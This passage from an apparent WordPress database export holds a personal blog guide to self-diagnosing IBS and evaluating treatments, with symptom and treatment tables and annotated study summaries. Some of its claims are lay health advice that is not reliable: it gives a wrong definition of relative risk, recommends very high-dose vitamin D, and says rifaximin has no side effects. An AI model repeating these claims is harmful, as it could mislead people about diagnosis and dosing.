role.<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-159\"><sup>[159]</sup></a></p>\n<!-- /wp:paragraph -->','A complete guide to self-diagnosing and self-treating IBS','','publish','closed','closed','','a-complete-guide-to-self-diagnosing-and-self-treating-ibs','','','2021-05-24 15:00:10','2021-05-24 15:00:10','',0,'https://trevorklee.com/?page_id=58',0,'page','',0),
(59,1,'2021-04-16 17:25:31','2021-04-16 17:25:31','<!-- wp:heading -->\n<h2>Introduction</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>I went through my own bout with IBS some years ago. It was really frustrating. It seemed to come out of nowhere. I spent a lot of money on a test for SIBO to see if that was the problem, but didn’t see any results. Then, it briefly seemed like I was cured, only to randomly become sensitive to gluten for a year.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Dealing with IBS was especially frustrating because of the unhelpful advice from doctors, family, and friends. Doctors would tell me it was all in my head. My family thought I had Crohn\'s. My friends just would get weirded out by the things I refused to eat, and try to nag me into trying just one muffin/beer/hot wing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A few years ago, my IBS disappeared as suddenly as it came. Now, I’m mostly ok. But I still remember how frustrating and life-impairing IBS was.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This article is what I wish I had back when I first got IBS. It’s not just another blog spam on the front page of Google, with the 5 things that literally every other blog spam tells you about IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s a comprehensive guide to making sure you have IBS and not another disease, and then treating IBS. And I mean comprehensive. If I missed anything, tell me!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>At the end of the article, I list all my sources (and there are a lot!) and what I took from them. I also include my evaluation of the treatment options, as I know that can be an especially challenging thing for IBS patients to do.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you’re pressed for time, just scroll down and look at the tables. If you’re not, feel free to read everything.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>How can you be sure you have IBS?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>IBS is a diagnosis of exclusion. If you don’t have other conditions that can also cause stomach problems, then you probably have IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Most doctors skip straight to diagnosing IBS without thoroughly checking whether you might have these other conditions. That’s unfortunate, because, unlike IBS, some of these other conditions actually have cures. If you’re diagnosed correctly, your IBS could be solved a lot quicker.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Also, some of these conditions are much more serious than IBS. So, you definitely want to make sure you don’t have these other conditions, because, if you do, you’ll need to start treating them ASAP.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Here’s a pretty exhaustive list of conditions that mimic IBS. Each row is a separate condition. Use it to potentially diagnose yourself. You’ll need laboratory tests to confirm whether you’re correct, but at least you’ll be able to advocate for yourself at the doctor’s office.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Note that the more of these conditions that you have, the more likely the diagnosis is. So, if you take the first example, an obese smoker on prednisone with constipation is more likely to have diverticulitis than a skinny non-smoker with diarrhea.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Also, please note that I’ve <em>italicized</em> the most important parts of a diagnosis. For example, unexplained weight loss is a pretty big warning sign for colon cancer and Chron’s. If you just have diarrhea and don’t have unexplained weight loss, neither colon cancer or Crohn\'s are likely (but they’re still possible).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>IBS Diagnosis Table</h3>\n<!-- /wp:heading -->\n\n<!-- wp:table -->\n<figure class=\"wp-block-table\"><table><tbody><tr><td><strong>If you have</strong></td><td><strong>Or if you are</strong></td><td><strong>Then you might have</strong></td></tr><tr><td>Bloating OR constipation OR diarrhea OR <em>bright blood in your stool</em></td><td>Obese OR a smoker OR a user of anti-inflammatories/steroids</td><td>Diverticulitis</td></tr><tr><td>Constipation OR diarrhea OR <em>unexplained weight loss</em> OR fatigue</td><td><em>Over the age of 45 (especially over the age of 65)</em> OR <em>have a history of cancer</em></td><td>Colon cancer</td></tr><tr><td><em>Bloody diarrhea</em>&nbsp;</td><td></td><td>Ulcerative colitis</td></tr><tr><td>Diarrhea OR unexplained anemia OR <em>fever</em> OR <em>unexplained weight loss</em> OR growth retardation</td><td></td><td>Crohn\'s disease</td></tr><tr><td>Joint pain OR <em>cold intolerance</em> OR constipationOR depression OR heavy menstrual flow OR unexplained weight gain or <em>fatigue </em>OR hair loss</td><td><em>Female</em></td><td>Hypothyroidism</td></tr><tr><td>Diarrhea AND nausea OR vomiting OR weight loss</td><td><em>In an area with poor water quality or food hygiene standards</em></td><td>Giardia</td></tr><tr><td>Abdominal bloating OR gas OR&nbsp; distension OR diarrhea</td><td><em>A user of proton pump inhibitors (e.g. Prilosec) </em>OR <em>opioids</em> OR <em>gastric bypass</em> OR <em>colectomy</em></td><td>Small intestinal bacterial overgrowth (SIBO)</td></tr><tr><td>Diarrhea OR bloating OR fatigue OR anemia OR <em>unexplained blisters (dermatitis herpetiformis)</em></td><td><em>Type 1 diabetic</em></td><td>Celiac disease</td></tr><tr><td><em>Diarrhea</em></td><td></td><td>Bile acid malabsorption</td></tr><tr><td><em>Constipation</em></td><td><em>Over 65 </em>OR <em>African American</em> OR <em>pregnant/a mother</em></td><td>Dyssnergic defecation</td></tr><tr><td>Abdominal pain and bloating OR gas OR watery stool <em>following the ingestion of foods containing lactose</em></td><td>Black, Latino, or <em>Asian</em></td><td>Lactose intolerance</td></tr><tr><td>Diarrhea OR constipation OR brain fog OR joint/muscle pain, OR skin rash/dermatitis</td><td>Female OR in the third to fourth decade of life</td><td>Non celiac gluten sensitivity</td></tr><tr><td>Nausea and vomiting OR <em>feeling of fullness or burning in your stomach</em> OR blood in your vomit or stool.<br></td><td><em>In an area with poor water quality or food hygiene standards</em></td><td>H. pylori</td></tr><tr><td>**RARE CONDITIONS FOLLOW BELOW (you probably don’t have these)**</td></tr><tr><td>Chronic or intermittent watery diarrhea OR unexplained weight loss, OR joint pain<br></td><td>Over 65 OR female</td><td>Microscopic colitis</td></tr><tr><td><em>Flushing</em> OR diarrhea OR <em>shortness of breath</em> OR <em>palpitation</em></td><td></td><td>Carcinoid syndrome (part of carcinoid tumors)</td></tr><tr><td>Nausea OR vomiting, OR diarrhea OR anemia OR weight loss</td><td></td><td>Eosinophilic gastroenteritis</td></tr></tbody></table></figure>\n<!-- /wp:table -->\n\n<!-- wp:heading -->\n<h2>Steps to treat IBS</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>If you’ve made it through the whole list above and none of those apply to you, you probably just have IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s more likely you have IBS if you have a history of anxiety or depression, are female, or especially if you’ve <em>recently had a stomach bug</em>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now you’re looking for treatment. Good on you! My recommendations are to start with a food restriction diet. Take away everything but chicken and rice, then slowly add the rest back in.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you have diarrhea, you might try a low FODMAP diet, eating small, regular portions, and/or limiting gassy foods like beans, cabbages, and onions.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you have constipation, you might try psyllium or linseed.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you want to try medication, I’d recommend very high doses of cholecalciferol (Vitamin D3), like 50k IU every 2 weeks. You might also try peppermint oil for short term diarrhea relief.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That’s my short list. For my long list, including evaluation and limitations of treatments, read on!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>IBS Treatment Table</h3>\n<!-- /wp:heading -->\n\n<!-- wp:table -->\n<figure class=\"wp-block-table\"><table><tbody><tr><td><strong>Potential IBS treatment</strong></td><td><strong>Evaluation</strong></td><td><strong>Limitations</strong></td></tr><tr><td>Low FODMAP</td><td>Low FODMAP diets seem to work. It doesn’t necessarily work better than just eating normal portions at regular times and reducing fat, insoluble fibers, caffeine, beans, cabbages, and onions. It works better if you have diarrhea.</td><td>The studies are only 1-3 months. It’s not clear what happens if you resume a normal diet after that time span.<br>The studies aren’t very well designed.</td></tr><tr><td>Gluten free diet (for non celiac)</td><td>It can work, but there’s not a big effect.</td><td>It only works for people who are sensitive to gluten (it’s not for anyone with IBS).</td></tr><tr><td>Fiber</td><td>Bran and insoluble fiber are probably not effective in any form of IBS.<br>Ispaghula (psyllium) and linseed, which are soluble fibers, are probably effective in all forms of IBS. Linseed seems like it’s probably better than psyllium.&nbsp;</td><td>All studies were done over a max of 1-3 months.<br>The studies aren’t very well designed.</td></tr><tr><td>Laxatives</td><td>Laxatives work.</td><td>They may not prevent constipation, especially in older patients</td></tr><tr><td>Anti spasmodics (dicyclomine, peppermint oil, pinaverium, trimebutine)</td><td>They have ok effects for abdominal pain and bigger effects for overall symptom scores.&nbsp;</td><td></td></tr><tr><td>Discontinuation of proton pump inhibitors</td><td>Not really a cure for IBS, but PPI overuse does lead to SIBO.</td><td></td></tr><tr><td>Antidepressants</td><td>Antidepressants probably work if your IBS is caused by depression or anxiety. It’s unclear whether they work if you don’t.</td><td>Antidepressants aren’t more effective in IBS than therapy.<br>It’s unclear if the type of antidepressant matters, but it most likely varies from person to person.</td></tr><tr><td>Rifaximin</td><td>Rifaximin can definitely benefit IBS-D, and may help IBS-C. It doesn’t seem to have any side effects.</td><td></td></tr><tr><td>Vitamin D3</td><td>Very high doses of vitamin D every 2 weeks (50,000 IU) probably improve IBS symptoms.</td><td>Taking really high doses of vitamin D can cause side effects. If you get side effects, stop taking vitamin D.</td></tr><tr><td>Soy isoflavones</td><td>Soy isoflavones may improve IBS in women.&nbsp;</td><td>There aren’t really good studies in men. There are no good long term studies either.</td></tr><tr><td>Acupuncture</td><td>Real acupuncture works just as well as fake acupuncture (having someone pretend to stick needles in you). Both work ok.</td><td></td></tr><tr><td>Probiotics</td><td>Probiotics may have a small effect.</td><td>The type of bacteria in the probiotic and the formulation matters a lot, as a lot of probiotics are useless or destroyed in the stomach.</td></tr><tr><td>Mesalazine</td><td>Mesalazine is probably not effective in IBS.</td><td></td></tr></tbody></table></figure>\n<!-- /wp:table -->\n\n<!-- wp:heading -->\n<h2>Evidence</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>How I evaluated the evidence</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Evaluating evidence is hard in general, and evaluating evidence in IBS is no exception.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’ll list out those problems, then list how I tried to solve them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>First, there are specific IBS issues.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>IBS has a variety of symptoms associated with it, and a treatment that fixes diarrhea will not necessarily fix constipation. This makes treatments difficult to measure in effectiveness. Some scientists try to make up for this by asking patients questions like, “Is your pain reduced?” or “Are you happy with your bowel movements?”, but those can be biased by treatments that treat only pain or depression without affecting IBS-specific symptoms.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To solve this, I tried to tease out the various effects that treatments had on different symptoms of IBS when I could. I paid especially close attention to questions that could be biased, which was a particular issue in antidepressants, as those will obviously make people happier with any treatment.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>IBS is also, obviously, really hard to diagnose. One study found that 30% of people with IBS-D actually have bile acid malabsorption. If that’s true, then 30% of the people in any IBS-D study don’t have IBS. What exactly does the study measure, then?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I didn’t have a good way of solving this, so I just hoped for the best.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>IBS studies are also often reliant on patient compliance, especially when testing dietary interventions like low FODMAP. This is...not great. <a href=\"https://journals.lww.com/ajg/Fulltext/2014/10002/Diet_Compliance_and_Its_Measurement_in_a_Clinical.1734.aspx\">This IBD study</a> found only 55% diet compliance (i.e. patients ate different food than prescribed almost half of the time). From my own experience, I had a girlfriend who did weight loss studies. Even when the study gave her food to take home, she would throw it out and just eat her own food because it tasted better. Needless to say, she did not tell the clinicians this.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I tried to solve this by avoiding studies that were reliant on patient compliance and self-reporting. If I couldn’t avoid the studies, I relied on them less for my recommendations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, those are some IBS specific issues. Let’s talk about issues in general.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The gold standard for a trial is placebo-controlled, double-blind and randomized. Placebo-controlled means that half the people get a fake treatment, so the experimenters can weed out any people who would have gotten better regardless of if they got the control.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Double blind means that neither the patient nor the experimenters know whether they are getting a real treatment, so nobody can cheat on their measurements or reports if they have a belief one way or another. Last, randomized means people get randomly assigned to placebo or treatment, so we end up with the same sorts of people in both groups.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Reaching that gold standard is easier in some trials than in others. If we’re testing a treatment like gluten, it’s actually surprisingly easy if the experimenters are up for it. They just give every group a pill, and sometimes the pill contains wheat flour, sometimes rice flour. The experimenters don’t know which pills are which until all the measurements are done.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, if we’re testing a treatment like low FODMAP, it’s impossible. Everyone knows which diet is the low FODMAP diet. There’s no faking it for either side. So, if a patient really believes low FODMAP will work for them, they might be a little more lax with their reports, (if they’re between a 1 and 2 on a scale, they might choose 2 more often than 1). An experimenter might do the same.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I tried to notice when studies were falling away from the gold standard, but I don’t want to just throw away all studies that don’t reach that standard. Then I’d have to throw away a lot of potential useful treatments. Instead, I weighted my judgments accordingly.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Once I was sure studies were performed well, I looked for consistently positive results. Any study can have a positive result once, especially if it’s a small study, in the same way that it’s easy to flip a coin 3 times and get all heads. But consistently getting heads when you flip a coin 100 times is a different story, and suggests there’s actually something there.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I also looked for consistent results across measures. A treatment should improve IBS severity, overall satisfaction, and symptoms. If it only improves one measure, it suggests that measure might have been a fluke.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I also looked for big results in the form of big effect sizes vs. placebo. When there are treatments that can almost quadruple the effects of placebo like vitamin D, small effects like mesalazine which might work ok for some people didn’t cut it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Last, I combined all these together and got my evaluations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>How I came up with my recommendations</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Some technical notes on how to read these.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>RR, which is relative risk, is basically the number with the bad outcome over the number with the good outcome. So, the smaller RR is, the better.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>CI, which is confidence interval, just accounts for error in the measurement. In the first study below, the RR is estimated to be 0.69, but it might be between 0.54 and 0.88.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I2 (which should really be I<sup>2</sup>) is a measure of “heterogeneity”, or how different the various effects are. The closer I2 gets to 100%, the greater the differences between studies (which makes you start to wonder why they’re so different).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>N, like n=39, is just how many patients there were in a specific group.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The P value, like P=0.62, is the likelihood that a difference found between treatments or conditions is a fluke. By convention, we use P&lt;0.05 to mean significant, as in there’s a less than 5% chance that the difference is a fluke.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>[Note for statistics nerds: all the definitions above are rough definitions for a lay audience. If you know the definition better than that, then good on you! Please don’t send me angry messages over it.]</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>My notes on each study are in <em>italics.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4><strong>FODMAP</strong></h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Low FODMAP diets seem to work, but the studies aren’t very good. It doesn’t necessarily work better than just eating regularly and reducing fat, insoluble fibers, caffeine, beans, cabbages, and onions. It works better if you have diarrhea.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>All studies were done over 1-3 months.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://eprints.whiterose.ac.uk/134755/\">A Systematic Review and Meta-Analysis Evaluating the Efficacy of a Gluten-Free Diet and a Low FODMAPs Diet in Treating Symptoms of Irritable Bowel Syndrome - White Rose Research Online</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This is a meta-study for both gluten-free diet and low FODMAP. I used it to guide my thinking, but also looked at the studies myself.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;There were seven RCTs comparing a low FODMAP diet with various control interventions in 397 participants. A low FODMAP diet was associated with reduced global symptoms compared with control interventions (RR = 0.69; 95% CI 0.54 to 0.88; I2= 25%). The three RCTS that compared low FODMAP diet with rigorous control diets had the least heterogeneity between studies, but also the least magnitude of effect.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.sciencedirect.com/science/article/abs/pii/S0016508515010860\">Diet Low in FODMAPs Reduces Symptoms of Irritable Bowel Syndrome as Well as Traditional Dietary Advice: A Randomized Controlled Trial - ScienceDirect</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Note that this study is relying on food diaries. This is an ok solution to problems of non compliance, but it’s not great, as people can still lie or misremember. Keeping a food diet for 4 weeks is hard! Also, there’s definitely an overlap between the low FODMAP diet and the normal diet. There’s also no placebo group.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Subjects were randomly assigned to groups that ate specific diets for 4 weeks—a diet low in FODMAPs (n = 38) or a diet frequently recommended for patients with IBS (ie, a regular meal pattern; avoidance of large meals; and reduced intake of fat, insoluble fibers, caffeine, and gas-producing foods, such as beans, cabbage, and onions), with greater emphasis on how and when to eat rather than on what foods to ingest (n = 37).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A total of 67 patients completed the dietary intervention (33 completed the diet low in FODMAPs, 34 completed the traditional IBS diet). The severity of IBS symptoms was reduced in both groups during the intervention (<em>P</em> &lt; .0001 in both groups before vs at the end of the 4-week diet), without a significant difference between the groups (<em>P</em> = .62). At the end of the 4-week diet period, 19 patients (50%) in the low-FODMAP group had reductions in IBS severity scores ≥50 compared with baseline vs 17 patients (46%) in the traditional IBS diet group (<em>P</em> = .72).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://gut.bmj.com/content/66/7/1241.short\">FODMAPs alter symptoms and the metabolome of patients with IBS: a randomised controlled trial | Gut (bmj.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study is looking directly at the metabolome, which is interesting, and should be more reliable than food diaries. The metabolome does seem to change a lot, which is interesting, but it’s weird to look at urine for the metabolome. Urine is not what would normally be affected by a change in diet.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;We performed a controlled, single blind study of patients with IBS (Rome III criteria) randomised to a low (n=20) or high (n=20) FODMAP diet for 3 weeks.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Thirty-seven patients (19 low FODMAP; 18 high FODMAP) completed the 3-week diet. The IBS-SSS was reduced in the low FODMAP diet group (p&lt;0.001) but not the high FODMAP group. LBTs showed a minor decrease in H2 production in the low FODMAP compared with the high FODMAP group. Metabolic profiling of urine showed groups of patients with IBS differed significantly after the diet (p&lt;0.01), with three metabolites (histamine, p-hydroxybenzoic acid, azelaic acid) being primarily responsible for discrimination between the two groups. Histamine, a measure of immune activation, was reduced eightfold in the low FODMAP group (p&lt;0.05).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.sciencedirect.com/science/article/abs/pii/S0016508513014078\">A Diet Low in FODMAPs Reduces Symptoms of Irritable Bowel Syndrome - ScienceDirect</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This is a pretty good study. They provided food and they collected stool instead of urine or self-report. Again, there’s no placebo control, so that’s a problem, but this is probably as good as you’re going to get with a low FODMAP diet. I wish they had more people and over a longer term.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In a study of 30 patients with IBS and 8 healthy individuals (controls, matched for demographics and diet), we collected dietary data from subjects for 1 habitual week. Participants then randomly were assigned to groups that received 21 days of either a diet low in FODMAPs or a typical Australian diet, followed by a washout period of at least 21 days, before crossing over to the alternate diet. Daily symptoms were rated using a 0- to 100-mm <a href=\"https://www.sciencedirect.com/topics/medicine-and-dentistry/visual-analog-scale\">visual analogue scale</a>. Almost all food was provided during the interventional diet periods, with a goal of less than 0.5 g intake of FODMAPs per meal for the <a href=\"https://www.sciencedirect.com/topics/medicine-and-dentistry/low-fodmap-diet\">low-FODMAP diet</a>. All stools were collected from days 17–21 and assessed for frequency, weight, water content, and King\'s Stool Chart rating.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Subjects with IBS had lower overall gastrointestinal symptom scores (22.8; 95% confidence interval, 16.7–28.8 mm) while on a diet low in FODMAPs, compared with the Australian diet (44.9; 95% confidence interval, 36.6–53.1 mm; <em>P</em> &lt; .001) and the subjects\' habitual diet. Bloating, pain, and passage of wind also were reduced while IBS patients were on the low-FODMAP diet. Symptoms were minimal and unaltered by either diet among controls. Patients of all IBS subtypes had greater satisfaction with stool consistency while on the low-FODMAP diet, but diarrhea-predominant IBS was the only subtype with altered fecal frequency and King\'s Stool Chart scores.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Gluten free diet (in non celiac)</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Pretty good studies, but there’s not a big effect. All studies were done over 1-3 months.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://eprints.whiterose.ac.uk/134755/\"><strong>A Systematic Review and Meta-Analysis Evaluating the Efficacy of a Gluten-Free Diet and a Low FODMAPs Diet in Treating Symptoms of Irritable Bowel Syndrome - White Rose Research Online</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Again, same meta review.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Both selected patients that had already responded to a GFD, and then randomized them to continue the diet, or to have the diet “spiked” with gluten.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A GFD was associated with reduced global symptoms compared with a control diet (RR = 0.42; 95% CI 0.11 to 1.55; I2= 88%), although this was not statistically significant.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://pubmed.ncbi.nlm.nih.gov/21224837/\">Gluten causes gastrointestinal symptoms in subjects without celiac disease: a double-blind randomized placebo-controlled trial - PubMed (nih.gov)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Very skewed women:men ratio. This is “placebo controlled” with normal vs. gluten free muffins. It raises the question of whether the patients could tell the difference between the normal and gluten free muffins, which they probably could.&nbsp;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A total of 34 patients (aged 29-59 years, 4 men) completed the study as per protocol. Overall, 56% had human leukocyte antigen (HLA)-DQ2 and/or HLA-DQ8. Adherence to diet and supplements was very high. Of 19 patients (68%) in the gluten group, 13 reported that symptoms were not adequately controlled compared with 6 of 15 (40%) on placebo (P=0.0001; generalized estimating equation). On a visual analog scale, patients were significantly worse with gluten within 1 week for overall symptoms (P=0.047), pain (P=0.016), bloating (P=0.031), satisfaction with stool consistency (P=0.024), and tiredness (P=0.001).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://pubmed.ncbi.nlm.nih.gov/26056920/\">Non-Celiac Gluten Sensitivity Has Narrowed the Spectrum of Irritable Bowel Syndrome: A Double-Blind Randomized Placebo-Controlled Trial - PubMed (nih.gov)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This one is a better placebo because they gave them gluten packets, which would be harder to tell taste wise from gluten free powder. However, the graphs, which I copied below, are terrible and clearly show overlap between placebo and gluten. I’m not a huge fan of this study or how they presented their information, but there does seem to be some effect.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>. In the second stage after six weeks, patients whose symptoms improved to an acceptable level were randomly divided into two groups; patients either received packages containing powdered gluten (35 cases) or patients received placebo (gluten free powder) (37 cases). Overall, the symptomatic improvement was statistically different in the gluten-containing group compared with placebo group in 9 (25.7%), and 31 (83.8%) patients respectively (p &lt; 0.001).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh4.googleusercontent.com/OD_XoemmNqpSI_F36_qSnOdqcc9dfpkSZ712k2WQA5RFcrtzeSOnjIQpKS-NGm2n4cGVGEZJqODkglWbw7YHMlXMmaUMX9D0k6B4zVOCye3-DKq-lFEdYV4wPmPieqk-TxUXtTO7\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>Fiber</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Bran and insoluble fiber are probably not effective in any form of IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ispaghula (psyllium) and linseed, which are soluble fibers, are probably effective. Linseed seems like it’s probably better. It’s hard to tell because the studies aren’t very good.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>All studies were done over a max of 1-3 months.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://scihubtw.tw/10.1038/ajg.2014.195\">Sci-Hub | The Effect of Fiber Supplementation on Irritable Bowel Syndrome: A Systematic Review and Meta-analysis | 10.1038/ajg.2014.195 (scihubtw.tw)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This meta analysis has a nice risk ratio graph, which is helpful for us. Note that all the results for bran span both sides of the line, so it’s unclear whether it works.&nbsp;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh3.googleusercontent.com/O5sBs_qNktbfm4SuhbhzTpMtWB1fNef6bxCWLu4dyA9of6pwe3xHG3f07vmFj36ZKSZnNV08lvZZmaHWbraGqJK0cUM0AmUNXHOz-c73e94R-Te8-6N73phF4cDZiVmlxHFsLExQ\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>Laxatives</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Laxatives work, but they may not prevent constipation, especially in older patients.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>I didn’t feel like I had to really prove this one, to be honest. I got lazy.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://qualitysafety.bmj.com/content/10/4/268.short\">Effectiveness of laxatives in adults | BMJ Quality &amp; Safety</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Bulk&nbsp; (fibre&nbsp; based)&nbsp; laxatives&nbsp; and&nbsp; osmotic</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>laxatives (including lactulose and PEG) are</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>associated with increases in frequency and</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>improvements &nbsp; in &nbsp; stool &nbsp; consistency &nbsp; and</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>symptoms of constipation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>+</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Little evidence is available at present as to</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>the&nbsp; comparative&nbsp; effectiveness&nbsp; of&nbsp; bulk&nbsp; and</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>non-bulk laxatives.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>+</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There&nbsp; is&nbsp; no&nbsp; 